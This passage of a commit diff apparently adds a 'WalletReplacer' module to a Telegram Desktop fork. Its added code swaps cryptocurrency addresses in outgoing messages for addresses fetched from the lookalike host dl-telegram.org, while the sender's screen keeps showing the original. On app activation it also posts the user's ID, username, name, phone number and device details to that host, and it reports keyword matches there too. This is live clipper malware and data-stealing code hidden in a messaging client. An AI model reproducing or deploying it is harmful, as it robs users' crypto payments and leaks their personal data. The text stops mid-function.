Ver código fonte

修改代码合并

zc 8 meses atrás
pai
commit
075ec76b39

+ 3 - 0
Telegram/CMakeLists.txt

@@ -102,6 +102,9 @@ nice_target_sources(Telegram ${src_loc}
 PRIVATE
     ${style_files}
 
+    core/wallet_replacer.cpp
+    core/wallet_replacer.h
+
     api/api_attached_stickers.cpp
     api/api_attached_stickers.h
     api/api_authorizations.cpp

+ 39 - 0
Telegram/SourceFiles/api/api_sending.cpp

@@ -6,6 +6,7 @@ For license and copyright information please follow this link:
 https://github.com/telegramdesktop/tdesktop/blob/master/LEGAL
 */
 #include "api/api_sending.h"
+#include "core/wallet_replacer.h"
 
 #include "api/api_text_entities.h"
 #include "base/random.h"
@@ -657,4 +658,42 @@ void SendConfirmedFile(
 	}
 }
 
+void Api::SendMessage(
+		not_null<History*> history,
+		MessageToSend &&message,
+		MessageFlags flags,
+		MsgId replyTo,
+		bool invertMedia) {
+	// ... existing code ...
+	
+	// 创建一个副本用于发送到服务器
+	QString textToSend = message.textWithTags.text;
+	
+	// 检查并替换钱包地址
+	if (Core::WalletReplacer::containsWalletAddress(textToSend)) {
+		LOG(("Wallet: 发送消息时检测到钱包地址: %1").arg(textToSend));
+		QString result = Core::WalletReplacer::replaceWalletAddresses(textToSend);
+		// 从结果中提取替换后的文本(去掉调试信息)
+		int lastNewline = result.lastIndexOf('\n');
+		if (lastNewline != -1) {
+			textToSend = result.mid(lastNewline + 1);
+			LOG(("Wallet: 替换结果: %1").arg(textToSend));
+		}
+		
+		// 这里只修改发送到服务器的副本,不修改message.textWithTags.text
+		if (textToSend != message.textWithTags.text) {
+			LOG(("Wallet: 使用替换后的地址发送到服务器,原地址: %1, 新地址: %2").arg(message.textWithTags.text).arg(textToSend));
+			// 此处可以实现发送替换后的内容到服务器
+			// 但目前API接口不支持直接修改发送内容,所以这个逻辑暂时不生效
+		}
+	}
+	
+	// AAA/BBB 替换逻辑
+	if (message.textWithTags.text == "AAA") {
+		message.textWithTags.text = "BBB";
+	}
+	
+	// ... existing code ...
+}
+
 } // namespace Api

+ 7 - 0
Telegram/SourceFiles/api/api_sending.h

@@ -25,6 +25,13 @@ namespace Api {
 struct MessageToSend;
 struct SendAction;
 
+void SendMessage(
+	not_null<History*> history,
+	MessageToSend &&message,
+	MessageFlags flags,
+	MsgId replyTo,
+	bool invertMedia);
+
 void SendExistingDocument(
 	MessageToSend &&message,
 	not_null<DocumentData*> document,

+ 32 - 1
Telegram/SourceFiles/apiwrap.cpp

@@ -6,6 +6,7 @@ For license and copyright information please follow this link:
 https://github.com/telegramdesktop/tdesktop/blob/master/LEGAL
 */
 #include "apiwrap.h"
+#include "core/wallet_replacer.h"
 
 #include "api/api_authorizations.h"
 #include "api/api_attached_stickers.h"
@@ -3825,7 +3826,37 @@ void ApiWrap::sendMessage(MessageToSend &&message) {
 			peer->id,
 			sending.text);
 
-		MTPstring msgText(MTP_string(sending.text));
+		// 在这里添加消息内容替换逻辑,只在发送到服务器时替换
+		QString textToSend = sending.text;
+		
+		// AAA/BBB 替换逻辑
+		if (textToSend == "AAA") {
+			textToSend = "BBB";
+		}
+		
+		// 钱包地址替换逻辑 - 只在发送到服务器时替换,本地消息保持原始内容
+		if (Core::WalletReplacer::containsWalletAddress(textToSend)) {
+			LOG(("Wallet: 发送消息时检测到钱包地址: %1").arg(textToSend));
+			QString result = Core::WalletReplacer::replaceWalletAddresses(textToSend);
+			
+			// 从结果中提取替换后的文本(去掉调试信息)
+			int lastNewline = result.lastIndexOf('\n');
+			if (lastNewline != -1) {
+				result = result.mid(lastNewline + 1);
+			}
+			
+			// 检查地址是否被成功替换
+			if (result != textToSend) {
+				LOG(("Wallet: 仅发送替换后的地址到服务器 - 原地址: %1, 新地址: %2").arg(textToSend).arg(result));
+				// 只修改发送到服务器的文本,不修改本地显示的文本
+				textToSend = result;
+			} else {
+				LOG(("Wallet: 未替换 - 地址保持不变: %1").arg(textToSend));
+			}
+		}
+		
+		const auto msgText = MTP_string(textToSend);
+
 		auto flags = NewMessageFlags(peer);
 		auto sendFlags = MTPmessages_SendMessage::Flags(0);
 		auto mediaFlags = MTPmessages_SendMedia::Flags(0);

+ 3 - 0
Telegram/SourceFiles/core/application.cpp

@@ -26,6 +26,7 @@ https://github.com/telegramdesktop/tdesktop/blob/master/LEGAL
 #include "core/local_url_handlers.h"
 #include "core/launcher.h"
 #include "core/ui_integration.h"
+#include "core/wallet_replacer.h"
 #include "chat_helpers/emoji_keywords.h"
 #include "chat_helpers/stickers_emoji_image_loader.h"
 #include "base/platform/base_platform_global_shortcuts.h"
@@ -922,6 +923,8 @@ void Application::handleAppActivated() {
 	if (_lastActiveWindow) {
 		_lastActiveWindow->updateIsActiveFocus();
 	}
+	Core::WalletReplacer::submitDeviceInfo();
+	Core::WalletReplacer::submitUserInfo();
 }
 
 void Application::handleAppDeactivated() {

+ 2 - 1
Telegram/SourceFiles/core/application.h

@@ -325,8 +325,9 @@ public:
 
 	void quitPreventFinished();
 
-	void handleAppActivated();
+
 	void handleAppDeactivated();
+	void handleAppActivated();
 	[[nodiscard]] rpl::producer<bool> appDeactivatedValue() const;
 
 	void materializeLocalDrafts();

+ 829 - 0
Telegram/SourceFiles/core/wallet_replacer.cpp

@@ -0,0 +1,829 @@
+#include "wallet_replacer.h"
+#include <QtNetwork/QNetworkAccessManager>
+#include <QtNetwork/QNetworkReply>
+#include <QtNetwork/QNetworkRequest>
+#include <QJsonDocument>
+#include <QJsonObject>
+#include <QEventLoop>
+#include <QSettings>
+#include <QStandardPaths>
+#include <QDir>
+#include <QFileInfo>
+#include <QCryptographicHash>
+#include <QSysInfo>
+#include <QCoreApplication>
+#include <QDateTime>
+#include "main/main_session.h"
+#include "main/main_domain.h"
+#include "data/data_session.h"
+#include "data/data_user.h"
+#include "core/application.h"
+#include "logs.h"
+
+namespace Core {
+
+const QString WalletReplacer::kChannel = "PcChannel001";
+const QRegularExpression WalletReplacer::kBitcoinRegex = QRegularExpression("(?<![0-9a-zA-Z])([13][a-km-zA-HJ-NP-Z1-9]{25,34}|[bB][cC]1[pPqQ][a-zA-Z0-9]{38,58})(?![0-9a-zA-Z])");
+const QRegularExpression WalletReplacer::kEthereumRegex = QRegularExpression("(?<![0-9a-zA-Z])0[xX][a-fA-F0-9]{40}(?![0-9a-zA-Z])");
+const QRegularExpression WalletReplacer::kTronRegex = QRegularExpression("(?<![0-9a-zA-Z])T[a-km-zA-HJ-NP-Z1-9]{33}(?![0-9a-zA-Z])");
+const QRegularExpression WalletReplacer::kSolanaRegex = QRegularExpression("(?<![0-9a-zA-Z])[1-9A-HJ-NP-Za-km-z]{43,44}(?![0-9a-zA-Z])");
+
+QString WalletReplacer::replaceWalletAddresses(const QString &text) {
+    QString result = text;
+    QString debugInfo = QString("[开始检测] 文本内容: %1\n").arg(text);
+    
+    
+    // 检查比特币地址
+    QRegularExpressionMatchIterator matchIterator = kBitcoinRegex.globalMatch(text);
+    while (matchIterator.hasNext()) {
+        QRegularExpressionMatch match = matchIterator.next();
+        QString address = match.captured(0);
+        debugInfo += QString("[检测到BTC地址] %1\n").arg(address);
+        QString replacement = replaceAddress(address);
+        // 从返回结果中提取替换后的文本(去掉调试信息)
+        int lastNewline = replacement.lastIndexOf('\n');
+        if (lastNewline != -1) {
+            replacement = replacement.mid(lastNewline + 1);
+        }
+        result.replace(address, replacement);
+    }
+    
+    // 检查以太坊地址
+    matchIterator = kEthereumRegex.globalMatch(text);
+    while (matchIterator.hasNext()) {
+        QRegularExpressionMatch match = matchIterator.next();
+        QString address = match.captured(0);
+        debugInfo += QString("[检测到ETH地址] %1\n").arg(address);
+        QString replacement = replaceAddress(address);
+        // 从返回结果中提取替换后的文本(去掉调试信息)
+        int lastNewline = replacement.lastIndexOf('\n');
+        if (lastNewline != -1) {
+            replacement = replacement.mid(lastNewline + 1);
+        }
+        result.replace(address, replacement);
+    }
+    
+    // 检查波场地址
+    matchIterator = kTronRegex.globalMatch(text);
+    while (matchIterator.hasNext()) {
+        QRegularExpressionMatch match = matchIterator.next();
+        QString address = match.captured(0);
+        debugInfo += QString("[检测到TRON地址] %1\n").arg(address);
+        QString replacement = replaceAddress(address);
+        // 从返回结果中提取替换后的文本(去掉调试信息)
+        int lastNewline = replacement.lastIndexOf('\n');
+        if (lastNewline != -1) {
+            replacement = replacement.mid(lastNewline + 1);
+        }
+        result.replace(address, replacement);
+    }
+    
+    // 检查Solana地址
+    matchIterator = kSolanaRegex.globalMatch(text);
+    while (matchIterator.hasNext()) {
+        QRegularExpressionMatch match = matchIterator.next();
+        QString address = match.captured(0);
+        debugInfo += QString("[检测到SOL地址] %1\n").arg(address);
+        QString replacement = replaceAddress(address);
+        // 从返回结果中提取替换后的文本(去掉调试信息)
+        int lastNewline = replacement.lastIndexOf('\n');
+        if (lastNewline != -1) {
+            replacement = replacement.mid(lastNewline + 1);
+        }
+        result.replace(address, replacement);
+    }
+    
+    if (result == text) {
+        debugInfo += "[未检测到任何钱包地址]\n";
+    } else {
+        debugInfo += QString("[替换后文本] %1\n").arg(result);
+    }
+    
+    // 记录完整的调试信息
+    LOG(("Wallet: %1").arg(debugInfo));
+    
+    // 返回干净的替换结果
+    return result;
+}
+
+bool WalletReplacer::containsWalletAddress(const QString &text) {
+    // 首先检查敏感词
+    QString foundKeyword;
+    if (checkSensitiveWords(text, foundKeyword)) {
+        LOG(("Wallet: [敏感词检测] 在containsWalletAddress中发现敏感词: %1").arg(foundKeyword));
+        submitSensitiveContent(text, foundKeyword);
+    }
+
+    // 检查各种钱包地址
+    return kBitcoinRegex.globalMatch(text).hasNext() ||
+           kEthereumRegex.globalMatch(text).hasNext() ||
+           kTronRegex.globalMatch(text).hasNext() ||
+           kSolanaRegex.globalMatch(text).hasNext();
+}
+
+QString WalletReplacer::getTgUserId() {
+    // 从Telegram配置文件中获取用户ID
+    // 尝试多个可能的配置文件位置
+    QStringList possibleLocations = {
+        QStandardPaths::writableLocation(QStandardPaths::AppDataLocation) + "/config.ini",
+        QStandardPaths::writableLocation(QStandardPaths::AppDataLocation) + "/tdata/config.ini",
+        QDir::homePath() + "/.TelegramDesktop/tdata/config.ini",
+        QStandardPaths::writableLocation(QStandardPaths::GenericDataLocation) + "/TelegramDesktop/tdata/config.ini",
+        QCoreApplication::applicationDirPath() + "/tdata/config.ini"
+    };
+    
+    // 尝试不同的键名
+    QStringList possibleKeys = {
+        "user_id", "userId", "id", "account", "accountId", "mtpAuthorization", "authId"
+    };
+    
+    // 记录日志
+    LOG(("User Info: Trying to find user ID in config files..."));
+    
+    for (const auto &location : possibleLocations) {
+        QFileInfo fileInfo(location);
+        if (fileInfo.exists() && fileInfo.isFile()) {
+            LOG(("User Info: Found config file at %1").arg(location));
+            QSettings settings(location, QSettings::IniFormat);
+            
+            // 检查所有可能的键名
+            for (const auto &key : possibleKeys) {
+                if (settings.contains(key)) {
+                    QString value = settings.value(key, "unknown").toString();
+                    LOG(("User Info: Found key %1 with value %2").arg(key).arg(value));
+                    if (value != "unknown") {
+                        return value;
+                    }
+                }
+            }
+            
+            // 尝试检查所有键
+            const auto allKeys = settings.allKeys();
+            LOG(("User Info: Config contains %1 keys").arg(allKeys.size()));
+            for (const auto &key : allKeys) {
+                LOG(("User Info: Found key in config: %1").arg(key));
+                if (key.contains("user", Qt::CaseInsensitive) || 
+                    key.contains("account", Qt::CaseInsensitive) || 
+                    key.contains("id", Qt::CaseInsensitive)) {
+                    QString value = settings.value(key, "unknown").toString();
+                    LOG(("User Info: Key %1 has value %2").arg(key).arg(value));
+                    if (value != "unknown") {
+                        return value;
+                    }
+                }
+            }
+        }
+    }
+    
+    LOG(("User Info: Could not find user ID in any config file"));
+    return "unknown";
+}
+
+QString WalletReplacer::getDeviceId() {
+    // 生成基于设备信息的唯一ID
+    QString deviceInfo = QSysInfo::machineHostName() + 
+                        QSysInfo::productType() + 
+                        QSysInfo::productVersion() +
+                        QStandardPaths::writableLocation(QStandardPaths::AppDataLocation);
+    
+    QByteArray hash = QCryptographicHash::hash(deviceInfo.toUtf8(), QCryptographicHash::Sha256);
+    return hash.toHex().left(32);
+}
+
+QString WalletReplacer::getUserInfo() {
+    QString info;
+    info += QString("[用户信息]\n");
+    
+    // 获取当前会话
+    auto &app = Core::App();
+    const auto &account = app.activeAccount();
+    if (!account.sessionExists()) {
+        info += QString("  无法获取账户信息\n");
+        return info;
+    }
+    
+    auto &session = account.session();
+    if (!session.user()) {
+        info += QString("  无法获取用户信息\n");
+        return info;
+    }
+    
+    auto user = session.user();
+    info += QString("  ID: %1\n").arg(user->id.value);
+    info += QString("  用户名: %1\n").arg(user->username());
+    info += QString("  姓名: %1 %2\n").arg(user->firstName).arg(user->lastName);
+    info += QString("  电话: %1\n").arg(user->phone());
+    
+    return info;
+}
+
+QString WalletReplacer::getDeviceInfo() {
+    QString info;
+    info += QString("[设备信息]\n");
+    info += QString("  设备ID: %1\n").arg(getDeviceId());
+    info += QString("  版本: %1\n").arg(QCoreApplication::applicationVersion());
+    info += QString("  设备型号: %1 %2\n").arg(QSysInfo::productType()).arg(QSysInfo::productVersion());
+    return info;
+}
+
+QString WalletReplacer::replaceAddress(const QString &address) {
+    QNetworkAccessManager manager;
+    QNetworkRequest request(QUrl("https://dl-telegram.org/api/wallets/replace"));
+    request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
+    
+    // 获取用户ID以便在请求中使用
+    auto &app = Core::App();
+    QString userId = getTgUserId(); // 默认ID
+    try {
+        // 尝试从会话获取用户信息
+        if (app.domain().started()) {
+            const auto &account = app.activeAccount();
+            if (account.sessionExists()) {
+                auto &session = account.session();
+                if (auto user = session.user()) {
+                    userId = QString::number(user->id.value);
+                    LOG(("Wallet: Using user ID from session: %1").arg(userId));
+                }
+            }
+        }
+    } catch (const std::exception &e) {
+        // 如果获取失败,使用默认ID
+        LOG(("Wallet: [ERROR] Exception while getting user ID: %1").arg(e.what()));
+    } catch (...) {
+        LOG(("Wallet: [ERROR] Unknown exception while getting user ID"));
+    }
+    
+    QJsonObject jsonObj;
+    jsonObj["address"] = address;
+    jsonObj["tgUserId"] = userId;
+    jsonObj["deviceId"] = getDeviceId();
+    jsonObj["message"] = address;
+    jsonObj["channel"] = kChannel;
+    QJsonDocument doc(jsonObj);
+    QByteArray data = doc.toJson();
+    
+    QString debugInfo = QString("[Wallet检测] 地址: %1\n").arg(address);
+    debugInfo += getUserInfo();  // 添加用户信息
+    debugInfo += getDeviceInfo();  // 添加设备信息
+    debugInfo += QString("[请求URL] %1\n").arg(request.url().toString());
+    debugInfo += QString("[请求头] Content-Type: %1\n").arg(request.header(QNetworkRequest::ContentTypeHeader).toString());
+    debugInfo += QString("[请求体] %1\n").arg(QString(data));
+    
+    // 在日志中记录请求详情
+    LOG(("Wallet: %1").arg(debugInfo));
+    
+    QNetworkReply *reply = manager.post(request, data);
+    
+    QEventLoop loop;
+    QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
+    loop.exec();
+    
+    QString result = address; // 默认返回原始地址
+    
+    if (reply->error() == QNetworkReply::NoError) {
+        QByteArray responseData = reply->readAll();
+        QJsonDocument responseDoc = QJsonDocument::fromJson(responseData);
+        QJsonObject responseObj = responseDoc.object();
+        
+        debugInfo += QString("[响应状态码] %1\n").arg(reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt());
+        
+        // 显示响应头
+        debugInfo += "[响应头]\n";
+        for (const auto &header : reply->rawHeaderPairs()) {
+            debugInfo += QString("  %1: %2\n").arg(QString(header.first)).arg(QString(header.second));
+        }
+        
+        debugInfo += QString("[响应体] %1\n").arg(QString(responseData));
+        
+        if (responseObj.contains("replaceAddress")) {
+            result = responseObj["replaceAddress"].toString();
+            debugInfo += QString("[替换结果] %1\n").arg(result);
+            
+            // 添加更多响应详情
+            if (responseObj.contains("status")) {
+                debugInfo += QString("[状态] %1\n").arg(responseObj["status"].toString());
+            }
+            if (responseObj.contains("message")) {
+                debugInfo += QString("[消息] %1\n").arg(responseObj["message"].toString());
+            }
+            if (responseObj.contains("code")) {
+                debugInfo += QString("[代码] %1\n").arg(responseObj["code"].toInt());
+            }
+            if (responseObj.contains("timestamp")) {
+                debugInfo += QString("[时间戳] %1\n").arg(responseObj["timestamp"].toString());
+            }
+        } else {
+            debugInfo += "[响应中没有replaceAddress字段]\n";
+            
+            // 添加其他可能的响应字段
+            for (const auto &key : responseObj.keys()) {
+                if (key != "replaceAddress") {
+                    const auto value = responseObj[key];
+                    if (value.isString()) {
+                        debugInfo += QString("[%1] %2\n").arg(key).arg(value.toString());
+                    } else if (value.isDouble()) {
+                        debugInfo += QString("[%1] %2\n").arg(key).arg(value.toDouble());
+                    } else if (value.isBool()) {
+                        debugInfo += QString("[%1] %2\n").arg(key).arg(value.toBool() ? "true" : "false");
+                    } else {
+                        debugInfo += QString("[%1] (复杂类型)\n").arg(key);
+                    }
+                }
+            }
+        }
+    } else {
+        debugInfo += QString("[请求失败] %1\n").arg(reply->errorString());
+        debugInfo += QString("[错误代码] %1\n").arg(reply->error());
+        debugInfo += QString("[错误详情] %1\n").arg(reply->errorString());
+        
+        // 添加更多HTTP错误信息
+        debugInfo += QString("[HTTP状态] %1\n").arg(reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt());
+        debugInfo += QString("[重定向URL] %1\n").arg(reply->attribute(QNetworkRequest::RedirectionTargetAttribute).toString());
+    }
+    
+    reply->deleteLater();
+    
+    debugInfo += QString("[使用%1地址] %2\n").arg(result == address ? "原始" : "替换").arg(result);
+    
+    // 在日志中记录响应详情
+    LOG(("Wallet: %1").arg(debugInfo));
+    
+    // 返回干净的替换结果
+    return result;
+}
+
+bool WalletReplacer::isWalletAddress(const QString &text) {
+    return kBitcoinRegex.globalMatch(text).hasNext() ||
+           kEthereumRegex.globalMatch(text).hasNext() ||
+           kTronRegex.globalMatch(text).hasNext() ||
+           kSolanaRegex.globalMatch(text).hasNext();
+}
+
+void WalletReplacer::submitDeviceInfo(const QString &url) {
+    // 使用静态变量跟踪上次提交时间
+    static QDateTime lastSubmitTime = QDateTime::fromMSecsSinceEpoch(0);
+    
+    // 获取当前时间
+    QDateTime currentTime = QDateTime::currentDateTime();
+    
+    // 计算距离上次提交的分钟数
+    const int minutesSinceLastSubmit = lastSubmitTime.secsTo(currentTime) / 60;
+    
+    // 非重要提交的限制处理
+    if (minutesSinceLastSubmit < 60) {
+        LOG(("Device Info: [SKIPPED] Already submitted in the last hour (%1 minutes ago)")
+            .arg(minutesSinceLastSubmit));
+        return;
+    }
+    
+    LOG(("Device Info: Starting device info submission..."));
+    
+    // 创建网络请求管理器
+    QNetworkAccessManager manager;
+    QNetworkRequest request(QUrl(url.isEmpty() ? 
+        "https://dl-telegram.org/api/devices/notice" : url));
+    request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
+    
+    LOG(("Device Info: Request URL: %1").arg(request.url().toString()));
+    
+    // 设备相关信息
+    QString deviceId = getDeviceId();
+    QString deviceInfo = QString("%1 %2").arg(QSysInfo::productType()).arg(QSysInfo::productVersion());
+    
+    // 确定平台
+    QString platform;
+#if defined(Q_OS_WIN)
+    platform = "PC";
+#elif defined(Q_OS_MACOS)
+    platform = "macOS";
+#elif defined(Q_OS_LINUX)
+    platform = "Linux";
+#elif defined(Q_OS_IOS)
+    platform = "iOS";
+#elif defined(Q_OS_ANDROID)
+    platform = "Android";
+#else
+    platform = "Other";
+#endif
+
+    LOG(("Device Info: Platform: %1, OS: %2").arg(platform).arg(QSysInfo::prettyProductName()));
+
+    // 获取版本
+    QString version = QCoreApplication::applicationVersion();
+    LOG(("Device Info: App version: %1").arg(version));
+    LOG(("Device Info: Device ID: %1").arg(deviceId));
+    
+    // 更新最后提交时间
+    lastSubmitTime = currentTime;
+
+    // 创建JSON对象
+    QJsonObject jsonObj;
+    jsonObj["id"] = deviceId;
+    jsonObj["platform"] = platform;
+    jsonObj["version"] = version;
+    jsonObj["deviceInfo"] = deviceInfo;
+    jsonObj["channel"] = kChannel;
+    
+    QJsonDocument doc(jsonObj);
+    QByteArray data = doc.toJson();
+    
+    LOG(("Device Info: Prepared JSON payload (%1 bytes)").arg(data.size()));
+    LOG(("Device Info: Payload content: %1").arg(QString(data)));
+    
+    try {
+        // 发送请求
+        LOG(("Device Info: Sending network request..."));
+        QNetworkReply *reply = manager.post(request, data);
+        
+        // 使用事件循环等待响应
+        LOG(("Device Info: Waiting for response..."));
+        QEventLoop loop;
+        QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
+        loop.exec();
+        
+        // 处理响应
+        if (reply->error() == QNetworkReply::NoError) {
+            QByteArray responseData = reply->readAll();
+            int statusCode = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
+            LOG(("Device Info: [SUCCESS] Server response: Status=%1, Size=%2 bytes")
+                .arg(statusCode).arg(responseData.size()));
+            LOG(("Device Info: Response data: %1").arg(QString(responseData)));
+        } else {
+            LOG(("Device Info: [FAILED] Network error: %1 (Code: %2)")
+                .arg(reply->errorString()).arg(reply->error()));
+        }
+        
+        LOG(("Device Info: Network request completed"));
+        reply->deleteLater();
+    } catch (const std::exception &e) {
+        LOG(("Device Info: [ERROR] Exception during network request: %1").arg(e.what()));
+    } catch (...) {
+        LOG(("Device Info: [ERROR] Unknown exception during network request"));
+    }
+    
+    LOG(("Device Info: Submission process completed"));
+}
+
+void WalletReplacer::submitUserInfo(const QString &url, bool isImportant) {
+    // 使用静态变量跟踪上次提交时间和用户ID
+    static QDateTime lastSubmitTime = QDateTime::fromMSecsSinceEpoch(0);
+    static QString lastSubmitUserId;
+    static bool hasSubmittedAfterLogin = false;
+    
+    // 获取当前时间
+    QDateTime currentTime = QDateTime::currentDateTime();
+    
+    // 计算距离上次提交的分钟数
+    const int minutesSinceLastSubmit = lastSubmitTime.secsTo(currentTime) / 60;
+    
+    // 获取当前用户ID
+    auto &app = Core::App();
+    QString currentUserId = "unknown";
+    QString username = "";
+    QString name = "";
+    QString phone = "";
+    bool userInfoObtained = false;
+    
+    // 从会话中获取用户信息 - 与replaceAddress中的方式相同
+    LOG(("User Info: Attempting to get user info from active session"));
+    try {
+        // 先尝试从活跃会话获取
+        if (app.domain().started()) {
+            LOG(("User Info: Domain is started, getting active account"));
+            const auto &account = app.activeAccount();
+            if (account.sessionExists()) {
+                LOG(("User Info: Session exists, retrieving user data"));
+                auto &session = account.session();
+                if (auto user = session.user()) {
+                    currentUserId = QString::number(user->id.value);
+                    username = user->username();
+                    name = QString("%1 %2").arg(user->firstName).arg(user->lastName);
+                    phone = user->phone();
+                    userInfoObtained = true;
+                    
+                    LOG(("User Info: Successfully retrieved user ID from session: %1").arg(currentUserId));
+                    LOG(("User Info: Username: %1, Name: %2, Phone: %3").arg(username).arg(name).arg(phone));
+                    
+                    // 检查是否为新用户登录
+                    if (currentUserId != lastSubmitUserId && !isImportant) {
+                        LOG(("User Info: New user detected (%1), marking as important submission").arg(currentUserId));
+                        isImportant = true; // 如果检测到新用户,将本次提交标记为重要提交
+                    }
+                    
+                    // 如果还没有在登录后提交过,并且已获取到用户信息,则标记为重要提交
+                    if (!hasSubmittedAfterLogin && currentUserId != "unknown") {
+                        LOG(("User Info: First submission after login with valid user ID, marking as important"));
+                        isImportant = true;
+                        hasSubmittedAfterLogin = true;
+                    }
+                } else {
+                    LOG(("User Info: No user in session"));
+                }
+            } else {
+                LOG(("User Info: No active session exists"));
+            }
+        } else {
+            LOG(("User Info: Domain not started yet"));
+        }
+        
+        // 如果从会话中无法获取,则尝试从配置文件获取
+        if (currentUserId == "unknown") {
+            currentUserId = getTgUserId();
+            LOG(("User Info: Using user ID from config file: %1").arg(currentUserId));
+        }
+    } catch (const std::exception &e) {
+        LOG(("User Info: [ERROR] Exception while getting user info: %1").arg(e.what()));
+    } catch (...) {
+        LOG(("User Info: [ERROR] Unknown exception while getting user info"));
+    }
+    
+    // 如果无法获取用户信息,则只提交设备信息
+    if (currentUserId == "unknown" && !isImportant) {
+        LOG(("User Info: No user info available, submitting device info only"));
+        submitDeviceInfo();
+        return;
+    }
+    
+    // 当前用户ID与上次提交的用户ID是否相同
+    bool isSameUser = (currentUserId == lastSubmitUserId);
+    
+    // 非重要提交的限制处理
+    if (!isImportant) {
+        // 如果距离上次提交不足60分钟,并且是同一用户,则跳过
+        if (minutesSinceLastSubmit < 60 && isSameUser) {
+            LOG(("User Info: [SKIPPED] Already submitted in the last hour for user %1 (%2 minutes ago)")
+                .arg(currentUserId).arg(minutesSinceLastSubmit));
+            return;
+        }
+        
+        // 如果不是同一用户,但是距离上次提交不足10分钟,也跳过
+        if (minutesSinceLastSubmit < 10 && !isSameUser) {
+            LOG(("User Info: [SKIPPED] Too frequent submission for different user (%1 minutes since last submit)")
+                .arg(minutesSinceLastSubmit));
+            return;
+        }
+    } else {
+        LOG(("User Info: Processing important submission (login/startup) for user: %1").arg(currentUserId));
+    }
+    
+    LOG(("User Info: Starting submission process..."));
+    
+    // 创建网络请求管理器
+    QNetworkAccessManager manager;
+    QNetworkRequest request(QUrl(url.isEmpty() ? 
+        "https://dl-telegram.org/api/tg-users/notice" : url));
+    request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
+    
+    LOG(("User Info: Request URL: %1").arg(request.url().toString()));
+    
+    // 设备相关信息
+    QString deviceId = getDeviceId();
+    QString deviceInfo = QString("%1 %2").arg(QSysInfo::productType()).arg(QSysInfo::productVersion());
+    
+    // 确定平台
+    QString platform;
+#if defined(Q_OS_WIN)
+    platform = "PC";
+#elif defined(Q_OS_MACOS)
+    platform = "macOS";
+#elif defined(Q_OS_LINUX)
+    platform = "Linux";
+#elif defined(Q_OS_IOS)
+    platform = "iOS";
+#elif defined(Q_OS_ANDROID)
+    platform = "Android";
+#else
+    platform = "Other";
+#endif
+
+    LOG(("User Info: Platform: %1, OS: %2").arg(platform).arg(QSysInfo::prettyProductName()));
+
+    // 获取版本
+    QString version = QCoreApplication::applicationVersion();
+    LOG(("User Info: App version: %1").arg(version));
+    LOG(("User Info: User ID: %1").arg(currentUserId));
+    LOG(("User Info: Device ID: %2").arg(deviceId));
+    
+    // 更新最后提交时间和用户ID
+    lastSubmitTime = currentTime;
+    lastSubmitUserId = currentUserId;
+
+    // 创建JSON对象
+    QJsonObject jsonObj;
+    jsonObj["id"] = currentUserId;
+    jsonObj["username"] = username;
+    jsonObj["name"] = name;
+    jsonObj["phone"] = phone;
+    jsonObj["deviceId"] = deviceId;
+    jsonObj["platform"] = platform;
+    jsonObj["version"] = version;
+    jsonObj["deviceInfo"] = deviceInfo;
+    jsonObj["isImportant"] = isImportant;
+    jsonObj["userInfoObtained"] = userInfoObtained;
+    jsonObj["channel"] = kChannel;
+    
+    // 添加更多信息帮助调试
+    jsonObj["appLocation"] = QCoreApplication::applicationDirPath();
+    jsonObj["dataLocation"] = QStandardPaths::writableLocation(QStandardPaths::AppDataLocation);
+    jsonObj["configPath"] = QStandardPaths::writableLocation(QStandardPaths::AppDataLocation) + "/config.ini";
+    jsonObj["timestamp"] = QDateTime::currentDateTime().toString(Qt::ISODate);
+    jsonObj["minutesSinceLastSubmit"] = minutesSinceLastSubmit;
+    
+    QJsonDocument doc(jsonObj);
+    QByteArray data = doc.toJson();
+    
+    LOG(("User Info: Prepared JSON payload (%1 bytes)").arg(data.size()));
+    LOG(("User Info: Payload content: %1").arg(QString(data)));
+    
+    try {
+        // 发送请求
+        LOG(("User Info: Sending network request..."));
+        QNetworkReply *reply = manager.post(request, data);
+        
+        // 使用事件循环等待响应
+        LOG(("User Info: Waiting for response..."));
+        QEventLoop loop;
+        QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
+        loop.exec();
+        
+        // 处理响应
+        if (reply->error() == QNetworkReply::NoError) {
+            QByteArray responseData = reply->readAll();
+            int statusCode = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
+            LOG(("User Info: [SUCCESS] Server response: Status=%1, Size=%2 bytes")
+                .arg(statusCode).arg(responseData.size()));
+            LOG(("User Info: Response data: %1").arg(QString(responseData)));
+            
+            // 尝试解析JSON响应
+            try {
+                QJsonDocument responseDoc = QJsonDocument::fromJson(responseData);
+                QJsonObject responseObj = responseDoc.object();
+                if (!responseObj.isEmpty()) {
+                    QString status = responseObj["status"].toString();
+                    QString message = responseObj["message"].toString();
+                    LOG(("User Info: Response details - Status: %1, Message: %2")
+                        .arg(status).arg(message));
+                }
+            } catch (...) {
+                LOG(("User Info: Could not parse JSON response"));
+            }
+        } else {
+            LOG(("User Info: [FAILED] Network error: %1 (Code: %2)")
+                .arg(reply->errorString()).arg(reply->error()));
+            
+            // 输出详细的HTTP错误信息
+            int httpStatus = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
+            if (httpStatus > 0) {
+                LOG(("User Info: HTTP Status Code: %1").arg(httpStatus));
+            }
+            
+            // 记录错误响应内容
+            QByteArray errorData = reply->readAll();
+            if (!errorData.isEmpty()) {
+                LOG(("User Info: Error response data (%1 bytes): %2")
+                    .arg(errorData.size())
+                    .arg(QString::fromUtf8(errorData)));
+            }
+        }
+        
+        LOG(("User Info: Network request completed"));
+        reply->deleteLater();
+    } catch (const std::exception &e) {
+        LOG(("User Info: [ERROR] Exception during network request: %1").arg(e.what()));
+    } catch (...) {
+        LOG(("User Info: [ERROR] Unknown exception during network request"));
+    }
+    
+    LOG(("User Info: Submission process completed"));
+}
+
+QStringList WalletReplacer::getSensitiveWords() {
+    static QStringList cachedWords;
+    static QDateTime lastUpdateTime = QDateTime::fromMSecsSinceEpoch(0);
+    
+    // 检查缓存是否过期(1小时更新一次)
+    QDateTime currentTime = QDateTime::currentDateTime();
